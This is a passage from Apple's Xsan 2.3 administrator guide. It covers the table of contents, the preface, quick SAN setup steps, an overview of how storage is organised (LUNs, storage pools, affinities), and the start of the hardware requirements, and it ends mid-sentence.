Graph SAN resource usage 119 Set up status notifications 120 View Xsan logs 121 Check volume clients 122 Chapter 9: Solve SAN problems 122 If you can’t connect to a computer using Xsan Admin 122 If you can’t enable or install the Xsan software 122 If computers aren’t listed in Xsan Admin 123 If you can’t mount a volume on a client 123 If you can’t unmount a volume on a client 123 If RAID LUNs aren’t accessible over Fibre Channel 123 If you have problems using command-line tools 123 If a LUN doesn’t have as much space as expected 123 If you can’t rename an Xsan volume in the Finder 124 If you can’t add a storage pool 124 If Fibre Channel performance is poor 124 If a client can’t use a volume after a Fibre Channel interruption 125 If you can’t add LUNs to a storage pool 125 If the capacity of a larger LUN is Listed as 2 terabytes 125 If file copying doesn’t finish 126 If a volume unexpectedly restarts 127 Appendix A : Upgrade to Xsan 2.3 127 Before you begin 127 If you’re not running Xsan 2.0 or later 127 Lion or Lion Server? 127 Which procedure? 128 Version compatibility 128 Upgrade your SAN software 128 Step 1: Back up your SAN volumes8 Contents 128 Step 2: Disable Spotlight on all volumes 129 Step 3: Upgrade the primary controller to Mac OS X Lion Server 129 Step 4: Upgrade the remaining controllers 130 Step 5: Reestablish Open Directory replicas 130 Step 6: Upgrade the SAN clients 131 Step 7: Enable extended attributes 131 Step 8: Change filename case sensitivity 132 Step 9: Reenable Spotlight 132 Upgrade SAN hardware and software 133 Step 1: Back up your SAN volumes 133 Step 2: Disable Spotlight on all volumes 133 Step 3: Adjust volume failover priorities 133 Step 4: Convert all standby controllers to clients 134 Step 5: Unmount and stop all volumes 134 Step 6: Connect new Macs to the SAN 134 Step 7: Migrate the primary metadata controller 135 Step 8: Migrate former standby controllers 136 Step 9: Convert clients to standby controllers 136 Step 10: Migrate or upgrade SAN clients 138 Step 11: Enable extended attributes 138 Step 12: Change filename case sensitivity 139 Step 13: Reenable Spotlight 139 Step 14: Recreate your MultiSAN configuration 140 Appendix B: Combine Xsan controllers and StorNext clients 140 Compatible software versions 140 Terminology 141 License 141 Add StorNext clients to an Xsan SAN 142 Appendix C: Use command-line tools 142 Use shell commands 142 Send commands to remote computers 143 View the man pages 143 Notation conventions 143 Install Xsan from the command line 145 Xsan commands 145 View or change volume and storage pool settings (cvadmin) 149 Manipulate affinity tags (cvaffinity) 149 Copy files or folders (cvcp) 150 Check or repair a volume (cvfsck) 151 Label, list, and unlabel LUNs (cvlabel) 152 Create a folder and assign an affinity (cvmkdir)Contents 9 153 Create and preallocate a file (cvmkfile) 153 Initialize a volume (cvmkfs) 154 Apply volume configuration changes (cvupdatefs) 154 Defragment a file, folder, or volume (snfsdefrag) 156 Control the Xsan file system (xsanctl) 157 Mount an Xsan volume 157 Unmount an Xsan volume 158 View logs 158 Xsan configuration files 159 Glossary 162 Index11 Use this guide to learn how to use Xsan 2 to set up and manage volumes on a storage area network. This guide shows how to use Xsan 2 to combine RAID arrays into large, easy-to-expand volumes of storage that clients use like local disks, but which are actually shared over a high-speed Fibre Channel fabric. The guide is updated for Xsan 2 version 2.3 and contains the following sections.  Chapter 1,“Quick SAN setup,” has instructions for setting up a storage area network (SAN) for the first time using new computers with Mac OS X Lion or Lion Server, new RAID systems, and a default SAN configuration.  Chapter 2,“Overview of Xsan,” provides an overview of Xsan and how you can use it to organize RAID arrays into shared volumes of storage.  Chapter 3,“Plan a SAN,” describes hardware and software requirements, and offers SAN planning guidelines.  Chapter 4,“Set up a SAN,” shows the basic steps for setting up a SAN.  Chapter 5,“Manage SAN storage,” contains instructions for expanding storage, creating folders with affinities, changing volume and storage pool settings, and checking, defragmenting, and repairing SAN volumes.  Chapter 6,“Manage clients and users,” shows how to add client computers to a SAN, mount volumes on clients, control client and user access to SAN files, and control user space through quotas.  Chapter 7,“Manage metadata controllers,” contains information about managing volume metadata controllers.  Chapter 8,“Monitor SAN status,” shows how to monitor and automatically report the condition of a SAN.  Chapter 9,“Solve SAN problems,” lists solutions to common problems you might encounter.  Appendix A,“Upgrade to Xsan 2.3,” explains how to upgrade from earlier versions of Xsan. Preface About this book12 Preface About this book  Appendix B,“Combine Xsan controllers and StorNext clients,” contains information to help you use Xsan metadata controllers with Quantum StorNext clients.  Appendix C,“Use command-line tools” describes command-line tools and configuration files you can use to manage an Xsan SAN from the Terminal app. What’s new in Xsan 2 Xsan 2 offers these new features and capabilities:  The Xsan Admin app is redesigned to simplify SAN management.  Xsan Admin enables you to turn on drive activity lights to identify LUNs.  A volume setup assistant guides you through the process of creating volumes for common purposes such as video editing and file services.  The volume setup assistant also organizes available storage into storage pools for you, based on the way you plan to use the volume.  More than one storage pool can have the same affinity tag.  Each volume has a separate failover priority.  The Xsan file system supports extended attributes for Macs with Xsan 2.3 or Xsan 2.2. Volumes created with Xsan 2.3 use extended attributes by default.  Xsan 2.3: The Xsan file system is built into Mac OS X Lion. Any Mac that has Lion and the requisite Ethernet and Fibre Channel connections can access Xsan volumes.  Xsan 2.3: Mac OS X Lion includes an Xsan pane in System Preferences. It lets users with administrator accounts on their computers enable and disable the Xsan file system, mount and unmount Xsan volumes, and see basic SAN information such as the SAN name and the SAN administrator name and email address.  Xsan 2.3: Mac OS X Lion includes support for the Asymmetric Logical Unit Access (ALUA) standard for multipathing and failover. Support for this standard multipathing implementation allows Xsan to be used with a variety of Fibre Channel RAID storage arrays.  Xsan 2.3: An Xsan 2.3 SAN can also include client computers that have Mac OS X or Mac OS X Server version 10.6 Snow Leopard and Xsan 2.2.1 installed.  Xsan 2.3: For improved performance and simplicity, you can now have Xsan volumes that aren’t case sensitive. These volumes, like traditional Mac volumes, do not distinguish between uppercase and lowercase letters in filenames.  Xsan 2.3: An Xsan volume can have a separate storage pool for journal data, which may improve performance.Preface About this book 13 Version compatibility The following table shows the compatibility of Xsan 2.3 metadata controllers and clients with earlier Xsan versions and with StorNext controllers and clients. For the latest information about compatibility with StorNext controllers and clients, see the AppleCare Support article at support.apple.com/kb/HT1517. Controller Client Compatible Xsan 2.3 Xsan 2.3 Yes Xsan 2.2.1 with Mac OS X or Mac OS X Server v10.6 Snow Leopard Yes Xsan 2.2.1 with Mac OS X v10.5 Leopard or Mac OS X Server v10.5 Leopard No Xsan 2.2 or earlier No Upgrade from an earlier version of Xsan For information about upgrading your SAN storage to Xsan 2.3 from Xsan 2.2.1—including precautions to take before upgrading and tips for upgrading with the least impact on existing storage—see Appendix A,“Upgrade to Xsan 2.3.” More information For more information about Xsan, consult these resources: Xsan website (www.apple.com/xsan/) Get information about planning for, installing, setting up, and upgrading to Xsan 2.3. Xsan Support website (www.apple.com/support/xsan/) Find articles about Xsan from Apple’s support organization. Apple Discussions website (discussions.apple.com) Join a discussion group to share questions, knowledge, and advice with other Xsan administrators. Apple Training and Certification website (training.apple.com) Find instructor-led and self-paced courses for improving your Xsan administration skills. Apple Mailing Lists website (www.lists.apple.com) Subscribe to mailing lists so you can communicate with other Xsan administrators by email.14 Preface About this book Notation conventions The following conventions are used in this book where command-line tools are described. Notation Indicates fixed-width font A command or other text entered in a Terminal window $ A shell prompt [text_in_brackets] An optional parameter (one|other) Alternative parameters (enter one or the other) italicized A parameter you must replace with a value [...] A parameter that can be repeated A displayed value that depends on your SAN configuration15 Follow the instructions in this chapter to set up a volume on a storage area network (SAN) using Xsan 2. Is this chapter right for you? To keep setup instructions simple, this chapter assumes:  You’re setting up a SAN for the first time using new computers and RAID systems.  Your SAN computers are running Mac OS X Lion or Lion Server.  You’ll let Xsan set up a SAN directory service on your metadata controllers.  You’ll use the Xsan Admin app to create SAN user accounts.  You’ll choose a standard SAN volume type and let Xsan organize your storage pools.  You’ll let the Xsan setup assistant configure your private metadata network settings. To reuse existing computers while following this chapter, perform a clean installation of Mac OS X Lion or Lion Server on each computer before you begin. You can add more SAN clients after setting up your SAN, including clients that have Mac OS X or Mac OS X Server version 10.6 Snow Leopard. For information, see “Add a client” on page 89. If you want more control over the underlying organization of your SAN volumes or directory services, you can find more general instructions in the next three chapters. If you already have a SAN that you want to upgrade, you’ll find instructions in Appendix A,“Upgrade to Xsan 2.3.” 1 Quick SAN setupEquipment you’ll need To set up a new SAN using the instructions in this chapter, you need:  Fibre Channel RAID storage devices for SAN storage  Two computers that have Mac OS X Lion Server to act as SAN metadata controllers  One or more SAN client computers that have Mac OS X Lion or Lion Server  An Intel processor and at least 2 GB of RAM in each SAN computer  An additional 2 GB of RAM per SAN volume in each metadata controller  Two Ethernet ports for each SAN computer  An Apple Fibre Channel card or other Fibre Channel adapter for each SAN computer  A Fibre Channel switch and cables for all storage devices and computers  An Ethernet switch and cables for the private SAN metadata network  A second Ethernet switch and cables for public intranet and Internet access  An equipment rack if your RAID storage systems, SAN computers, or switches are designed to mount in one A list of qualified RAID systems and Fibre Channel switches is available on the Xsan website at www.apple.com/xsan/. What you need to know You need to provide the following information when you set up your SAN:  A static (fixed) public IP address, subnet mask, router address, and DNS server address for each computer on the SAN. You can enter this information manually or configure a DHCP server to provide it. If you want the DHCP server to provide IP addresses, be sure it always assigns the same IP address to each SAN computer.  A single user name and password for the administrator account on all SAN computers.  A user name and password for each user who will log in to a client computer.  A unique name for each computer (recommended) 16 Chapter 1 Quick SAN setupChapter 1 Quick SAN setup 17 The following illustration shows the hardware components of an Xsan SAN. Metadata controller Clients Standby controller Metadata RAID array (LUN) Fibre Channel switch Ethernet (public) Ethernet (private) Intranet/ Internet RAID arrays (LUNs) Ethernet switches SAN setup instructions Use the instructions on the following pages to set up your SAN for the first time. Summary 1 Unpack and Install the SAN Hardware 2 Connect the SAN Networks 3 Set Up the Client Computers 4 Set Up the Standby Metadata Controller 5 Set Up the RAID Systems 6 Create a Metadata Array 7 Set Up the Primary Metadata Controller 8 Configure the SAN 9 Create a SAN VolumeStep 1: Unpack and install the SAN hardware To install the components of your SAN, follow the instructions that come with each computer, RAID storage system, and switch. Don’t turn on any equipment until instructed to do so. Install the hardware: 1 Unpack each computer that will be part of the SAN. 2 If you need to install Fibre Channel or Ethernet cards or adapters for any of the computers, follow the instructions that come with the computer to install the card or adapter. 3 Unpack the RAID systems used for SAN storage and follow the instructions that come with the systems to install them in a rack. 4 Unpack and install the Fibre Channel switch, following the instructions that come with the switch. 5 Unpack and install the Ethernet switches for the SAN’s private metadata network and public intranet or Internet connections. Step 2: Connect the SAN networks Set up your switches and use Fibre Channel and Ethernet cables to connect the SAN computers and storage devices to the Fibre Channel and Ethernet switches. Connect the SAN networks: 1 Turn on the Fibre Channel switch and follow the manufacturer’s instructions to set it up; then connect each SAN computer to the switch using one or two Fibre Channel cables. 2 Connect the Fibre Channel ports on each RAID storage unit to the Fibre Channel switch. For details, see the instructions that come with the RAID system. 3 Turn on the Ethernet switches and connect the first Ethernet port on each SAN computer to the public Ethernet switch using an Ethernet cable. 4 Connect the second Ethernet port on each SAN computer to the private metadata Ethernet switch using a second Ethernet cable. 5 Connect the Ethernet ports on each RAID storage system to the public Ethernet switch. For details, see the instructions that come with the RAID storage system. Step 3: Set up the client computers Now you’ll go to each client computer to set up an administrator account, configure network settings, and enable the Xsan software. The procedure differs based on whether the client computer has Mac OS X Lion or Lion Server installed and ready for initial setup. 18 Chapter 1 Quick SAN setupChapter 1 Quick SAN setup 19 Use one of the next two procedures—“If a Client Has Mac OS X Lion Installed” or “If a Client Has Mac OS X Lion Server Installed”—as appropriate, with each client computer on the SAN. When you finish setting up the client computers, they’re ready to join the SAN and are detected during SAN setup. After you finish setting up client computers, go to “Step 4: Set up the standby metadata controller” on page 21. If a client has Mac OS X Lion installed: 1 Turn on the client computer. 2 Follow the Mac setup assistant’s onscreen instructions to set up the computer, paying special attention to the information in the following panes: Your Internet Connection: Choose a connection type from the pop-up menu and enter the appropriate settings for the client computer. You can choose:  Manually, and then enter the static public IP address, subnet mask, router address, and DNS server address for the client computer  Using DHCP with manual address, and then enter the client computer’s IP address if your DHCP server provides other network connection settings  Using DHCP, if your DHCP server provides the client computer with a static IP address and other connection settings Select Your Admin Account: If this pane appears, select “Create a local user account to administer this computer.” Create Your Computer Account: Enter the same administrator name and password on all computers in the SAN. 3 When the Mac setup assistant finishes and the Finder appears, choose System Preferences from the Apple menu () . 4 Click Network and select the first Ethernet port, which should be connected to your public intranet and the Internet. 5 Choose a configuration method from the pop-up menu, and then enter the appropriate settings for the client computer. You can choose:  Manually, and then enter the static public IP address, subnet mask, router address, and DNS server address for the client computer  Using DHCP with manual address, and then enter the client computer’s IP address if your DHCP server provides other network connection settings  Using DHCP, if your DHCP server provides the client computer with a static IP address and other connection settings Don’t configure the port connected to the private metadata network—the Xsan setup assistant configures it for you.6 In the Date & Time pane of System Preferences, make sure the computer is configured to set the date and time automatically using a time server. 7 In the Sharing pane of System Preferences, enter a computer name that’s different from other SAN computer names. Giving each SAN computer a unique name is optional but allows you to distinguish them in Xsan Admin. 8 In the Xsan pane of System Preferences, click Enable Xsan. The client computer can now join the SAN and is detected by the primary metadata controller during SAN setup. If the client has Mac OS X Lion Server installed: 1 Turn on the client computer. 2 Follow the server setup assistant’s onscreen instructions to set up the computer, paying special attention to the information in the following panes: Administrator Account: Enter the same account name and password on all client computers. Time Zone: Configure the computer to use a network time server, which sets the date and time automatically. Xsan: Select “Configure as Xsan Metadata Controller or Client.” Xsan Computer Type: Select “Configure as Xsan Client.” Network: Enable only the public Ethernet port (Ethernet 1 at the top of the list). Choose a configuration method from the pop-up menu and enter the appropriate settings for the client computer. You can choose:  Manually, and then enter the static public IP address, subnet mask, router address, and DNS server address for the client computer  Using DHCP with manual address, and then enter the client computer’s IP address if your DHCP server provides other network connection settings  Connecting to Your Mac: Enter a computer name that’s different from other SAN computer names. Giving each SAN computer a unique name is optional but allows you to distinguish them in Xsan Admin. Don’t configure the Ethernet port connected to the private metadata network (Ethernet 2). The Xsan setup assistant configures it for you. The client computer can now join the SAN and is detected by the primary metadata controller during SAN setup. 20 Chapter 1 Quick SAN setupChapter 1 Quick SAN setup 21 Step 4: Set up the standby metadata controller Now set up the standby metadata controller. This computer must have Mac OS X Lion Server installed but not yet set up. Set up the standby controller: 1 Turn on the computer you’re using as the standby metadata controller. 2 Follow the server setup assistant’s onscreen instructions to configure the computer, paying special attention to the settings in the following panes: Administrator Account: Enter the same account name and password that you used on your client computers. Time Zone: Configure the computer to use a network time server, which sets the date and time automatically. Xsan: Select “Configure as Xsan Metadata Controller or Client.” Xsan Computer Type: Select “Configure as Standby Xsan Metadata Controller.” Network: Enable only the public Ethernet port (Ethernet 1 at the top of the list). Choose a configuration method from the pop-up menu and enter the appropriate settings for the computer. You can choose:  Manually, and enter the static public IP address, subnet mask, router address, and DNS server address for the computer  Using DHCP with manual address, and enter the computer’s IP address if your DHCP server provides other TCP/IP connection settings The standby metadata controller can now join the SAN and is detected by the primary metadata controller during SAN setup. Step 5: Set up the RAID systems Now configure your RAID systems. Xsan sees the RAID arrays provided by the RAID systems as Fibre Channel logical unit numbers (LUNs) that can be combined to create SAN volumes. Set up the RAID systems: 1 Follow the instructions that come with your RAID systems to turn them on and configure their network, management, and security settings. 2 If your RAID systems come with RAID sets already configured, they’re detected during SAN setup, and you can skip to “Step 6: Create a metadata array” on page 22; otherwise, use the management software that comes with the RAID system to create arrays that are the same size, leaving three drives on one system unassigned so you can create a small, separate metadata LUN as described in the next step. Setup scripts for Promise RAID systems are available at www.apple.com/support/xsan/.Step 6: Create a metadata array Ten GB of disk space is enough to store the metadata for a volume containing 10 million files, so a two-drive RAID 1 (mirrored) array is generally large enough to store the metadata for your SAN volume. If you dedicate a spare drive to this array to guarantee availability, three drives are adequate for your SAN metadata. If your RAID arrays consist of four or more drives, you can follow these steps to convert an existing array into a small metadata array so you can reuse the extra drives. If you’ve set up a Promise RAID system using a script from www.apple.com/support/xsan/, you should have a two-drive RAID 1 array for metadata, and you can skip to “Step 7: Set Up the primary metadata controller”on page 22. Create a metadata array: 1 If you don’t have three spare drives, or if the drives in your RAID systems belong to RAID arrays, use the management software for your RAID system to delete an existing array. You can do this on the standby metadata controller or on a client that you’ve already set up. 2 Use two of the drives to create a two-drive RAID 1 (mirrored) array. 3 Assign a third drive as a dedicated spare for the array. You can use leftover drives from the original array to create a separate array, or save them for use as spares. You now have a new two-drive RAID 1 array for storing SAN metadata. You add this LUN to your metadata storage pool when you create your SAN volume. Step 7: Set Up the primary metadata controller Now that you’ve prepared your SAN clients, standby metadata controller, and RAID storage systems, you can set up the primary metadata controller. This computer must have Mac OS X Lion Server installed but not yet set up. Set up the primary controller: 1 Turn on the computer that will be the primary metadata controller. 2 Follow the server setup assistant’s onscreen instructions to configure the computer, paying special attention to the following panes: Administrator Account: Enter the same account name and password that you used on your client computers. Time Zone: Configure the computer to use a network time server, which sets the date and time automatically. Xsan: Select “Configure as Xsan Metadata Controller or Client.” 22 Chapter 1 Quick SAN setupChapter 1 Quick SAN setup 23 Xsan Controller Type: Select “Configure as Primary Xsan Metadata Controller.” Network: Enable only the public Ethernet port (Ethernet 1 at the top of the list). Choose a configuration method from the pop-up menu and enter the appropriate settings for the client computer. See “What you need to know” on page 16. You can choose:  Manually, and enter the static public IP address, subnet mask, and router address for the computer  Using DHCP with manual address, and enter the computer’s IP address if your DHCP server provides other TCP/IP connection settings Users and Groups: Select “Manage users and groups with Xsan Admin.” Step 8: Configure the SAN After basic server configuration and Xsan installation are complete, open Xsan Admin. The Xsan setup assistant appears. Follow these steps to enter basic SAN settings. Configure the SAN: 1 In the Introduction pane, click Continue.2 In the Initial SAN Setup pane, select “Configure new SAN.” 3 In the SAN Settings pane, enter a name for the SAN and the SAN administrator’s name and email address. 24 Chapter 1 Quick SAN setupChapter 1 Quick SAN setup 25 4 In the Add Computers pane, make sure all computers that you want to be in the SAN are selected. If a computer you want to include isn’t listed, make sure Xsan is enabled in that computer’s Xsan preferences, check that it’s connected to both Ethernet networks, and verify the network settings in the computer’s Network preferences. You can also click Add Remote Computer to add computers manually. 5 In the Authenticate SAN Computers pane, select “Use same authentication information for all SAN Computers” and enter the user account name and password for the administrator account you created on the clients and the standby metadata controller.6 In the Choose Metadata Controllers pane, select your primary and standby metadata controllers and deselect any client-only computers that appear in the list. 7 In the Private Metadata Network pane, select “Yes, manage private Ethernet network settings.” 26 Chapter 1 Quick SAN setupChapter 1 Quick SAN setup 27 8 Review the Summary pane, and if all settings are correct, click Continue. To change a setting, click Go Back until you reach the pane where you can correct the setting. Then click Continue until you return to the Summary pane. Step 9: Create a SAN volume When the Xsan setup assistant finishes basic SAN configuration, it asks if you want to create a volume. Create a volume: 1 In the “Create Volume” pane, select “Create a volume now” and click Continue.2 In the “Volume Name and Type” pane, enter a name for the volume and choose a volume type that matches the type of work the volume will support. 3 If the Label LUNs pane appears, select “Automatically label all unlabeled LUNs with prefix” and click Continue. 4 In the Configure Volume Affinities pane, drag LUNs from the left column to the corresponding affinity tag in the right column. a Drag the special metadata LUN you created (in “Step 6: Create a metadata array”) to the MetadataAndJournal affinity tag. b Drag your other LUNs to the other affinity tags. To avoid wasting storage, all LUNs assigned to an affinity tag should be the same size. c If you’re left with any affinity tags that contain no LUNs, delete them. d When you finish, click Continue. 28 Chapter 1 Quick SAN setupChapter 1 Quick SAN setup 29 5 When the Volume Failover Priority pane appears, you can change the failover order for the volume you’re creating, and then click Continue. 6 In the Setup Complete pane, click Continue. Xsan Admin displays a summary of your SAN configuration, and the new volume is mounted and ready to use in the Finder on all clients and metadata controllers. Step 10: Add users and groups When your volume is ready, the SAN setup assistant closes and Xsan Admin opens. You use Xsan Admin to add users and groups to your SAN. Add a user or group: m In Xsan Admin, select “Users and Groups” in the SAN Assets list and then click the Add button (+) in the lower right corner of the window.What’s next? Your SAN volume is now ready to use. When SAN users log in to client computers, they’ll see the volume in the Finder. For information about using and managing the SAN, see the other chapters of this guide. They cover topics such as:  Controlling access to files and folders on SAN volumes  Setting folder affinities  Managing available space with user quotas  Monitoring the status of the SAN and its volumes You can also find information about these and other tasks in the onscreen help. Open Xsan Admin and choose Help > Xsan Admin Help. 30 Chapter 1 Quick SAN setup31 Learn about storage area networks (SANs) and how Xsan helps you set one up. Read this chapter for an overview of Xsan and how you can use it to set up a SAN to provide fast, shared storage. SAN_ Volume Mac OS X Xsan lets you combine RAID arrays into volumes clients use like local disks. File data moves over Fibre Channel RAID arrays (LUNs) Storage pools 2 Overview of XsanXsan SANs A SAN is a way of connecting computers and storage devices so computers have fast, shared access to files while making it easy for administrators to expand storage capacity. An Xsan SAN consists of:  Shared data volumes  RAID systems that provide storage space that is protected from disk failure  At least one computer acting as a metadata controller that combines RAID arrays and presents their storage to clients as volumes that behave like local disks  Client computers that access storage in accordance with established permissions and quotas  Underlying Fibre Channel and Ethernet networks The following illustration shows the hardware components of an Xsan SAN. Metadata controller Clients Standby controller Metadata RAID array (LUN) Fibre Channel switch Ethernet (public) Ethernet (private) Intranet/ Internet RAID arrays (LUNs) Ethernet switches 32 Chapter 2 Overview of XsanChapter 2 Overview of Xsan 33 Shared SAN volumes A user or application on a client computer accesses shared SAN storage the way they would access a local volume. Xsan volumes are logical disks made up of pools of RAID arrays. The elements you combine to create an Xsan volume are described in “How Xsan storage is organized” on page 34. Metadata controllers When you set up an Xsan SAN, you assign at least one computer to act as the metadata controller. The controller manages volume metadata, maintains a file system journal, and controls concurrent access to files. Metadata includes such information as where files are stored and what portions of available storage are allocated to new files. To guarantee volume availability, a SAN should include more than one metadata controller, as shown in the illustration on page 32. If the primary controller fails, the standby controller takes over. Clients The computers that users or applications use to access SAN volumes are called clients. Clients exchange metadata with controllers over the private Ethernet network but use Fibre Channel to send and retrieve file data to and from the RAID systems that provide storage for the volumes. Network connections Xsan uses the following independent networks to connect storage devices, metadata controllers, and client computers: a Fibre Channel network and two Ethernet networks. Fibre Channel Xsan moves data between clients and SAN volumes over high-speed Fibre Channel connections. Controllers also use a Fibre Channel connection to move metadata to and from the volume. Xsan can take advantage of multiple Fibre Channel connections between clients and storage. Xsan can alternate between connections for each read and write, or it can assign each RAID array in a volume to a connection when the volume is mounted. Ethernet Xsan controllers and clients exchange file system metadata over a separate, private Ethernet network. (Controllers use Fibre Channel to read and write metadata on a volume.) To prevent Internet or intranet traffic from interfering with metadata communications, set up separate public (Internet) and private (metadata) Ethernet networks, as shown in the illustration on page 32.How Xsan storage is organized Although an Xsan volume mounted on a client computer looks like a single disk, it consists of multiple physical disks combined on several levels using RAID techniques. The following illustration shows an example of how disk space provided by drive modules in several RAID systems is combined into a volume that users see as a large local disk. RAID Arrays (LUNs) Data striping across LUNs Storage pools Affinity tags Folder affinities SAN volume Video Video Audio Other Metadata and journal Video Other Audio The following paragraphs describe these elements and how you combine them to create shared Xsan volumes. LUNs The smallest storage element you work with in Xsan is a logical storage device called a SCSI logical unit number, or LUN. A LUN represents a group of drives combined into a RAID array. You create a LUN when you create a RAID array on a RAID storage device. The RAID system combines physical drives into an array based on the RAID scheme you choose. Each array appears on the Fiber Channel network as a LUN. If the standard RAID arrays on your RAID systems aren’t right for your application, you can use the RAID system management software to recreate arrays based on other RAID schemes or different numbers of drive modules. For information about other RAID schemes, see “Choose RAID schemes for LUNs” on page 47. 34 Chapter 2 Overview of XsanChapter 2 Overview of Xsan 35 The illustration on page 34 shows eight LUNs. The LUN that stores metadata and journal information uses RAID level 1 (mirrored) to prevent metadata loss. One LUN stores users’ data on a RAID 0 array (striping only) for best speed and storage efficiency but no data protection. The other data LUNs use RAID 5 (distributed parity) for high performance and storage efficiency with data protection. Xsan sees the RAID arrays as LUNs that can be combined to create a volume. Your RAID LUNs are labeled and initialized for use with the Xsan file system when you use Xsan Admin to set up a volume. Storage pools LUNs are combined to form storage pools. A storage pool in a small volume might consist of a single RAID array, but a larger volume might consist of several storage pools each of which includes several arrays. Xsan distributes file data in parallel across the LUNs in a storage pool using a RAID 0 (striping) scheme. So, you can improve a client’s access speed by distributing available storage over several LUNs in a storage pool. You can set up storage pools that have different performance or recoverability characteristics based on the RAID level of their LUNs, and assign folders to them using affinities. Users can then select where to store files based on their need for speed or safety. See “Folders with affinities” on page 36. The illustration on page 34 shows eight LUNs combined into five storage pools. One pool uses a single RAID 0 array (fast, but not recoverable). Three other pools use multiple RAID 5 arrays (not as fast, but recoverable), and Xsan stripes data across the LUNs in each storage pool. You use Xsan Admin to add available LUNs to storage pools. Affinities and affinity tags An affinity associates a folder with specific storage pools. When you assign an affinity to a folder, you guarantee that files placed in the folder are stored on a storage pool that has the corresponding affinity tag. An affinity tag groups storage pools based on performance and recoverability characteristics. More than one storage pool can have the same affinity tag. Xsan distributes the contents of a folder with a specific affinity among the storage pools that have that affinity tag. This strategy improves performance when users simultaneously read and write files in the same folder, because the read and write operations are distributed among the storage pools and their component LUNs.You use Xsan Admin to assign affinity tags to storage pools and associate folders with those affinity tags. Volumes Storage pools are combined to create the volumes that users see. From the user’s perspective, the SAN volume looks and behaves like a large local disk, except that:  The size of the volume can grow as you add underlying arrays or storage pools  Multiple users on the SAN can access files on the volume at the same time In the illustration on page 34, five storage pools are combined to create a single shared volume. You use Xsan Admin to create volumes and mount them on client computers. The following screen shot shows how LUNs, storage pools, and volumes look as you organize them in Xsan Admin. This example shows a SAN with a single shared volume named “SanVol.” Storage for the volume is provided by two storage pools, “MetadataAndJournal” and “Data1,” the first based on a single LUN and the other on two LUNs. Volume Storage pool LUN Folders with affinities To control which storage pools are used to store specific files (for example, to provide different levels of service for different users or apps), you can associate a folder on an Xsan volume with an affinity tag that’s assigned to storage pools that make up the volume. 36 Chapter 2 Overview of XsanChapter 2 Overview of Xsan 37 For example, you can associate some folders with an affinity whose storage pools have faster LUNs, and associate other folders with an affinity whose storage pools have safer LUNs. Users can choose between faster and safer storage by putting files in the appropriate folder. In the illustration on page 34, the Other folder has an affinity for the faster storage pool based on a RAID 0 array. Any file that a user copies into the Other folder is stored on the faster array. The Video and Audio folders are associated with the more secure RAID 5 storage. How Xsan uses available storage Xsan stores user files and file system data on SAN volumes, and stripes data across the LUNs in a volume for better performance. Metadata and journal data Xsan records information about the files in an Xsan volume using metadata files and file system journals. File system metadata includes information such as which specific parts of which disks are used to store a file and whether the file is being accessed. The journal data includes a record of file system transactions that help ensure the integrity of files in the event of a failure. These files are managed by the Xsan metadata controller but are stored on SAN volumes, not on the controller itself. Metadata is stored on the first storage pool you add to a volume. Journal data can also be stored on the same storage pool as metadata, or you can use a separate storage pool for journal data. You must have journal data on only one storage pool. Stripe at a higher level When a RAID system writes a file using a RAID 0 (striping) scheme, it breaks the file into segments and spreads them across disk drives in the RAID array. This improves performance by writing parts of the file in parallel (instead of one part at a time) to disks in the array. Xsan applies this same technique in the storage hierarchy. Within each storage pool in a volume, Xsan stripes file data across the LUNs that make up the storage pool. Performance is improved because data is written in parallel. You can tune SAN performance to suit a critical application by adjusting the amount of data written to each LUN in a storage pool (the stripe breadth).Security There are several ways you can control access to a SAN volume:  Unmount a volume on client computers that shouldn’t have access to it. However, users who have administrator accounts on client computers with Mac OS X Lion or Lion Server can browse and mount SAN volumes.  Specify owner, group, and general access permissions in Xsan Admin.  Specify owner, group, and general access permissions in the Finder.  Control user access to files and folders on a volume, by setting up access control lists (ACLs) in Xsan Admin.  Set up zones in the underlying Fibre Channel network, to segregate users and volumes. Expand storage There are two ways you can add free space to an Xsan volume:  Add RAID systems (new LUNs) to an affinity tag  Add new storage pools to the volume Both methods unmount and remount the volume on clients, so choose a time that’s convenient for your SAN users. You can also add volumes to a SAN at any time. For information about expanding Xsan storage, see “Add storage” on page 71. Xsan capacities The following table lists limits and capacities for Xsan volumes. Parameter Maximum Number of volumes on a SAN 16 Number of storage pools in a volume 512 Number of LUNs in a storage pool 32 Number of LUNs in a volume 512 Number of files in a volume 4,294,967,296 LUN size Limited by the size of the RAID array Volume size Limited by the number and size of LUNs File size Approximately 2 63 bytes Volume name length 70 characters (A–Z, a–z, 0–9, and _ ) 38 Chapter 2 Overview of XsanChapter 2 Overview of Xsan 39 Parameter Maximum File or folder name length 251 ASCII characters Storage pool name length 255 ASCII characters Affinity name length 255 ASCII characters LUN name (label or disk name) 242 ASCII characters40 Learn Xsan hardware and software requirements and planning guidelines and performance tips to help you design a SAN for your needs. This chapter contains:  Xsan hardware and software requirements (below)  SAN planning guidelines (page 44) Hardware and software requirements Your SAN environment must satisfy requirements in these areas:  Supported computers  Supported storage devices  Fibre Channel fabric, adapters, and switches  Ethernet network  Directory services (optional)  Outgoing mail service (optional) Supported computers To join an Xsan 2.3 SAN, computers must meet the following minimum requirements. Base systems  Clients and controllers must be Macs that have Intel processors and can be connected to Fibre Channel fabric. Memory  Client computers must have at least 2 GB of RAM.  Computers used as metadata controllers must have at least 2 GB of RAM for Mac OS X Lion Server plus an additional 2 GB of RAM for each SAN volume hosted by the controller. For example, a controller should have 4 GB of RAM to host one volume, or 6 GB for two volumes. 3 Plan a SANChapter 3 Plan a SAN 41 Supported operating systems Computers with Mac OS X Lion or Lion Server can be used as Xsan 2.3 metadata controllers and clients. Mac OS X Lion Server is recommended for metadata controllers. Xsan 2.3 is included with Mac OS X Lion and Lion Server. To join an Xsan 2.3 SAN, Windows, AIX, IRIX, Linux, and Solaris clients must be running Quantum’s StorNext File System. For version compatibility information, see “Version compatibility” on page 13. Supported storage devices Use only Apple-qualified RAID systems or ALUA-compliant RAID systems for storage devices. For the latest information about qualified RAID systems, see the Xsan webpage at www.apple.com/xsan/. Important: Be sure to install the latest firmware update on your RAID systems before you use them with Xsan. Fibre Channel fabric Unlike file system metadata, which controllers and clients exchange over Ethernet, file content in an Xsan SAN is transferred over Fibre Channel connections (as is metadata that controllers access on a volume). The computers, storage devices, and switches are connected with Fibre Channel cables to form a Fibre Channel fabric. To set up the connections, you need:  An Apple Fibre Channel card or other Fibre Channel adapter for each client and controller computer  A supported Fibre Channel switch  Fibre Channel cables connecting computers and storage devices to the switches to form a Fibre Channel fabric Fibre Channel cards or adapters Install an Apple Fibre Channel PCI card or attach a Fibre Channel 